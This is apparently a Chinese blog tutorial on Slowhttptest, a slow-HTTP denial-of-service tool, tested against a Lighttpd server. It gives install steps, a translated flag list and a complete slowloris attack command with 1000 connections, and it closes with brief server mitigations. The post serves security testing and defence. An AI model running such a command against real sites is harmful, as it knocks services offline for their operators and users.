Slowhttptest是依赖HTTP协议的慢速攻击DoS攻击工具,设计的基本原理是服务器在请求完全接收后才会进行处理,如果客户端的发送速度缓慢或者发送不完整,服务端为其保留连接资源池占用,大量此类请求并发将导致DoS

这次将对一台装有Lighttpd的测试服务器进行DoS攻击。

版本信息:

lighttpd/1.4.45 (ssl) - a light and fast webserver
Build-Date: Jan 14 2017 21:07:19

安装这个工具:

sudo apt-get install slowhttptest
----------------------------------------------------
git仓库地址:https://github.com/shekyan/slowhttptest

用法与参数:

~# slowhttptest -h 
 -g      在测试完成后,以时间戳为名生成一个CVS和HTML文件的统计数据
 -H      SlowLoris模式
 -B      Slow POST模式
 -R      Range Header模式
 -X      Slow Read模式
 -c      number of connections 测试时建立的连接数
 -d      HTTP proxy host:port  为所有连接指定代理
 -e      HTTP proxy host:port  为探测连接指定代理
 -i      seconds 在slowrois和Slow POST模式中,指定发送数据间的间隔。
 -l      seconds 测试维持时间
 -n      seconds 在Slow Read模式下,指定每次操作的时间间隔。
 -o      file name 使用-g参数时,可以使用此参数指定输出文件名
 -p      seconds 指定等待时间来确认DoS攻击已经成功
 -r      connections per second 每秒连接个数
 -s      bytes 声明Content-Length header的值
 -t      HTTP verb 在请求时使用什么操作,默认GET
 -u      URL  指定目标url
 -v      level 日志等级(详细度)
 -w      bytes slow read模式中指定tcp窗口范围下限
 -x      bytes 在slowloris and Slow POST tests模式中,指定发送的最大数据长度
 -y      bytes slow read模式中指定tcp窗口范围上限
 -z      bytes 在每次的read()中,从buffer中读取数据量

攻击例子:

slowhttptest -c 1000 -H -g -o test -i 10 -r 200 -t GET -u http://your_domain/ -x 24 -p 3

(这条命令会在测试后留下一个名为test的html和csv文件,下面是html的内容)

请输入图片描述

服务器防范措施:

  1. 限制链接数
  2. 设置最大并发数
  3. 限制单位时间内的请求数
  4. 对于Nginx,可以使用 ModSecurity,http_guard,ngx_lua_waf
  5. 对于Apache,可以使用 mod_security,mod_evasive

标签: Slowhttptest

添加新评论